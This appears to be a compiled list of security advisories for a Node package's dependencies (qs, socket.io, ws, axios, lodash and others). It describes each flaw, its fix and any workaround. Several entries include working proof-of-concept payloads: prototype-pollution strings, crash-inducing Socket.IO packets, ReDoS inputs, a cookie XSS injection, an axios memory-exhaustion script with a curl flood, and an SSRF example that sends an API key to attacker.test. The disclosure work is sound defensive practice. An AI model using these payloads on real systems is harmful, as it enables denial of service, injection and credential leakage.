All the vulnerabilities related to the version 2.24.5 of the package
qs vulnerable to Prototype Pollution
qs before 6.10.3 allows attackers to cause a Node process hang because an __ proto__ key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.
yargs-parser Vulnerable to Prototype Pollution
Affected versions of yargs-parser are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --foo.__proto__.bar baz' adds a bar property with value baz to all objects. This is only exploitable if attackers have control over the arguments being passed to yargs-parser.
Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.
socket.io has an unhandled 'error' event
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
node:events:502
throw err; // Unhandled 'error' event
^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
at new NodeError (node:internal/errors:405:5)
at Socket.emit (node:events:500:17)
at /myapp/node_modules/socket.io/lib/socket.js:531:14
at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
code: 'ERR_UNHANDLED_ERROR',
context: undefined
}
| Version range | Needs minor update? |
|------------------|------------------------------------------------|
| 4.6.2...latest | Nothing to do |
| 3.0.0...4.6.1 | Please upgrade to socket.io@4.6.2 (at least) |
| 2.3.0...2.5.0 | Please upgrade to socket.io@2.5.1 |
This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2 (released in May 2023).
The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c
As a workaround for the affected versions of the socket.io package, you can attach a listener for the "error" event:
io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});
If you have any questions or comments about this advisory:
Thanks a lot to Paul Taylor for the responsible disclosure.
CORS misconfiguration in socket.io
The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.
Resource exhaustion in engine.io
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
Improper Certificate Validation in xmlhttprequest-ssl
The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.
xmlhttprequest and xmlhttprequest-ssl vulnerable to Arbitrary Code Injection
This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
Insufficient validation when decoding a Socket.IO packet
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
TypeError: Cannot convert object to primitive value
at Socket.emit (node:events:507:25)
at .../node_modules/socket.io/lib/socket.js:531:14
A fix has been released today (2023/05/22):
socket.io-parser@4.2.3socket.io-parser@3.4.3Another fix has been released for the 3.3.x branch:
| socket.io version | socket.io-parser version | Needs minor update? |
|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|
| 4.5.2...latest | ~4.2.0 (ref) | npm audit fix should be sufficient |
| 4.1.3...4.5.1 | ~4.1.1 (ref) | Please upgrade to socket.io@4.6.x |
| 3.0.5...4.1.2 | ~4.0.3 (ref) | Please upgrade to socket.io@4.6.x |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Please upgrade to socket.io@4.6.x |
| 2.3.0...2.5.0 | ~3.4.0 (ref) | npm audit fix should be sufficient |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
Thanks to @rafax00 for the responsible disclosure.
Insufficient validation when decoding a Socket.IO packet
Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.
Example:
const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));
This bubbles up in the socket.io package:
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// here, "val" could be a function instead of a buffer
});
});
:warning: IMPORTANT NOTE :warning:
You need to make sure that the payload that you received from the client is actually a Buffer object:
io.on("connection", (socket) => {
socket.on("hello", (val) => {
if (!Buffer.isBuffer(val)) {
socket.disconnect();
return;
}
// ...
});
});
If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).
Example of values that could be sent by a malicious user:
Sample packet: 451-["hello",{"_placeholder":true,"num":10}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
undefinedSample packet: 451-["hello",{"_placeholder":true,"num":undefined}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
Array, like "push"Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "push" function
});
});
Object, like "hasOwnProperty"Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "hasOwnProperty" function
});
});
This should be fixed by:
socket.io-parser@4.2.1socket.io-parser@4.0.5socket.io-parser@3.4.2socket.io-parser@3.3.3socket.io package| socket.io version | socket.io-parser version | Covered? |
|---------------------|---------------------------------------------------------------------------------------------------------|------------------------|
| 4.5.2...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: |
| 4.1.3...4.5.1 | ~4.0.4 (ref) | Yes :heavy_check_mark: |
| 3.0.5...4.1.2 | ~4.0.3 (ref) | Yes :heavy_check_mark: |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: |
| 2.3.0...2.5.0 | ~3.4.0 (ref) | Yes :heavy_check_mark: |
socket.io-client package| socket.io-client version | socket.io-parser version | Covered? |
|----------------------------|----------------------------------------------------------------------------------------------------------------|------------------------------------|
| 4.5.0...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: |
| 4.3.0...4.4.1 | ~4.1.1 (ref) | No, but the impact is very limited |
| 3.1.0...4.2.0 | ~4.0.4 (ref) | Yes :heavy_check_mark: |
| 3.0.5 | ~4.0.3 (ref) | Yes :heavy_check_mark: |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: |
| 2.2.0...2.5.0 | ~3.3.0 (ref) | Yes :heavy_check_mark: |
Resource exhaustion in socket.io-parser
The socket.io-parser npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.
Denial of Service in http-proxy
Versions of http-proxy prior to 1.18.1 are vulnerable to Denial of Service. An HTTP request with a long body triggers an ERR_HTTP_HEADERS_SENT unhandled exception that crashes the proxy server. This is only possible when the proxy server sets headers in the proxy request using the proxyReq.setHeader function.
For a proxy server running on http://localhost:3000, the following curl request triggers the unhandled exception:
curl -XPOST http://localhost:3000 -d "$(python -c 'print("x"*1025)')"
Upgrade to version 1.18.1 or later
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Regular Expression Denial of Service (ReDoS) in braces
A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in braces
Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 2.3.1 or higher.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
eazy-logger prototype pollution
A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.
An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., child_process.exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
(async () => {
const lib = await import('eazy-logger');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.Logger (JSON.parse('{"__proto__":{"pollutedKey":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
Prototype Pollution in object-path
object-path is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). The del() function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like toString on all objects.
Prototype pollution in object-path
A prototype pollution vulnerability has been found in object-path <= 0.11.4 affecting the set() method. The vulnerability is limited to the includeInheritedProps mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of object-path and setting the option includeInheritedProps: true, or by using the default withInheritedProps instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of set() in versions < 0.11.0 is vulnerable.
Upgrade to version >= 0.11.5
Don't use the includeInheritedProps: true options or the withInheritedProps instance if using a version >= 0.11.0.
Read more about the prototype pollution vulnerability
If you have any questions or comments about this advisory:
Prototype Pollution in object-path
This affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition currentPath === '__proto__' returns false if currentPath is ['__proto__']. This is because the === operator returns always false when the type of the operands is different.
Denial of Service in axios
Versions of axios prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the maxContentLength property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.
Upgrade to 0.18.1 or later.
Axios is vulnerable to DoS attack through lack of data size check
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
Run this app and send 3 post requests:
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```
Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
serve-static vulnerable to template injection that can lead to XSS
passing untrusted user input - even after sanitizing it - to redirect() may execute untrusted code
this issue is patched in serve-static 1.16.0
users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist
successful exploitation of this vector requires the following:
send vulnerable to template injection that can lead to XSS
passing untrusted user input - even after sanitizing it - to SendStream.redirect() may execute untrusted code
this issue is patched in send 0.19.0
users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist
successful exploitation of this vector requires the following:
ua-parser-js Regular Expression Denial of Service vulnerability
The package ua-parser-js before 0.7.23 are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info).
Regular Expression Denial of Service in ua-parser-js
The package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.
Regular Expression Denial of Service (ReDoS) in ua-parser-js
ua-parser-js >= 0.7.14, fixed in 0.7.24, uses a regular expression which is vulnerable to denial of service. If an attacker sends a malicious User-Agent header, ua-parser-js will get stuck processing it for an extended period of time.
ReDoS Vulnerability in ua-parser-js version
A regular expression denial of service (ReDoS) vulnerability has been discovered in ua-parser-js.
This vulnerability bypass the library's MAX_LENGTH input limit prevention. By crafting a very-very-long user-agent string with specific pattern, an attacker can turn the script to get stuck processing for a very long time which results in a denial of service (DoS) condition.
All versions of the library prior to version 0.7.33 / 1.0.33.
A patch has been released to remove the vulnerable regular expression, update to version 0.7.33 / 1.0.33 or later.
Regular expression Denial of Service - ReDoS
Thanks to @Snyk who first reported the issue.
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Prototype Pollution in lodash
Versions of lodash before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.11 or later.
Prototype Pollution in lodash
Versions of lodash before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.5 or later.
Prototype Pollution in lodash
Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.12 or later.
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.